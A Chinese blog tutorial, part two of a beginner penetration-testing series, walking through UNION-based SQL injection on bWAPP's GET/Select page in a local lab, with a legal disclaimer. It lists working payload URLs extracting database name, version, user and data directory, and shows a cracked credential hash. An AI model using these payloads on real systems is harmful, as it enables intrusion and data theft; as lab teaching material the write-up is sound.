渗透入门之SQL 注入(二)

重要声明

SQL注入实验仅可在自己搭建的合法测试环境(如本地虚拟机、授权的测试服务器)中进行,严禁对任何非授权系统实施测试,否则可能违反《网络安全法》等法律法规,需承担相应法律责任。

接上一篇渗透入门之SQL 注入(一)

SQL Injection (GET/Select):GET请求数据查询类注入

BWAPP的SQL Injection (GET/Select)漏洞属于下拉选择框驱动的GET参数注入,核心特征是页面通过下拉选单(如选择国家/地区、类别等)提交GET参数(典型参数名:movie),参数通常关联数据库的主键/索引字段,易触发数字型(或字符型)SQL注入。与Search类注入的核心区别:注入点是下拉选单对应的ID类GET参数,而非搜索框的字符串参数,测试逻辑需适配数字型注入特征。

1 步骤1:进入漏洞页面

(2) 步骤2:判断注入点类型及存在性

目标:确认movie参数是否存在注入,以及注入类型(数字型/字符型)。

测试1:数字型注入验证

  • 结论:movie参数存在数字型SQL注入

(3) 步骤3:判断后台查询的字段数(ORDER BY)

目标:确定后台SQL查询的字段数量,为联合查询铺垫。

构造URL(逐步增加ORDER BY后的数字,直到报错):

结论:后台SQL查询的字段数为7。

(4)步骤4:联合查询找"显位"(可显示数据的列)

目标:让原查询无结果,强制显示联合查询的结果,确定哪些列会在页面展示。

  • 构造URL(用movie=-1让原查询无匹配结果,UNION SELECT拼接查询):

http://192.168.0.100/bwapp/sqli_2.php?movie=-1 UNION SELECT 1,2,3,4,5,6,7&action=go;

  • 观察页面:数字2、3、4等会显示在页面中,说明第该列是显位(可展示注入提取的数据)。

(5)步骤5:获取数据库基础信息

利用UNION SELECT提取MySQL核心信息,替换显位为目标函数:

|--------|---------------------------------------------------------------------------------------|--------|
| 目标信息 | 构造URL示例(数字型) | 预期结果示例 |
| 当前数据库名 | http://192.168.0.100/bwapp/sqli_2.php?movie=-1 UNION SELECT 1,database(),3&action=go | bwapp |

|---------|--------------------------------------------------------------------------------------|--------|
| 目标信息 | 构造URL示例(数字型) | 预期结果示例 |
| MySQL版本 | http://192.168.0.100/bwapp/sqli_2.php?movie=-1 UNION SELECT 1,version(),3&action=go | 5.0.96 |

|-------|-----------------------------------------------------------------------------------|------------------------------------------------|
| 目标信息 | 构造URL示例(数字型) | 预期结果示例 |
| 数据库用户 | http://192.168.0.100/bwapp/sqli_2.php?movie=-1 UNION SELECT 1,user(),3&action=go | root@localhost |

|--------|--------------------------------------------------------------------------------------|-----------------|
| 目标信息 | 构造URL示例(数字型) | 预期结果示例 |
| 数据存储目录 | http://192.168.0.100/bwapp/sqli_2.php?movie=-1 UNION SELECT 1,@@datadir,3&action=go | /var/lib/mysql/ |

(6)步骤6:获取 bwapp 数据库的表名

详见渗透入门之SQL注入(一)

(7)步骤7:获取 users 表的列名

详见渗透入门之SQL注入(一)****

(8)步骤8:提取 users 表的账号密码数据

详见****渗透入门之SQL注入(一)********

页面会显示用户数据:

|----------------------|------------------------------------------|
| 显位2(由上章节用户名存在login里) | 显位3(password,MD5加密) |
| A.I.M. | 6885858486f31043e5839c735d99457f045affd0 |

解密MD5值:A.I.M.对应密码bug。

(9)步骤9:验证结果

使用提取到的用户名密码登录BWAPP,验证账号密码的有效性,确认注入结果正确。

相关推荐
运维行者_3 小时前
企业无线网络监控的挑战与智能化演进趋势
大数据·运维·服务器·网络·数据库
国强_dev4 小时前
技术探讨:使用 stunnel 加密转发数据库连接时,如何获取客户端真实 IP?
数据库·网络协议·tcp/ip
@insist1234 小时前
系统规划与管理师-信息系统规划核心工作要点解析
数据库·软考·系统规划与管理师·软件水平考试·系统规划与管理工程师
超级数据查看器4 小时前
超级数据查看器 v10.0 发布
java·大数据·数据库·sqlite·安卓
数安3000天5 小时前
增量数据如何自动分类分级,避免目录“过期“?
大数据·数据库
南墙上的石头6 小时前
麒麟 V10 重装人大金仓 V8R6 踩坑实录(含 MySQL 兼容模式)
数据库·mysql
画中有画7 小时前
论向量数据库在项目中的应用
数据库
spider_xcxc7 小时前
Redis 数据库高质量实践指南(一)
运维·数据库·redis·oracle·云计算
l1t8 小时前
在linux和windows中解决duckdb 1.6dev版本输出执行计划报错问题
linux·运维·数据库·windows·duckdb
执子手 吹散苍茫茫烟波8 小时前
RC 隔离级别下 MySQL InnoDB 死锁典型案例
数据库·mysql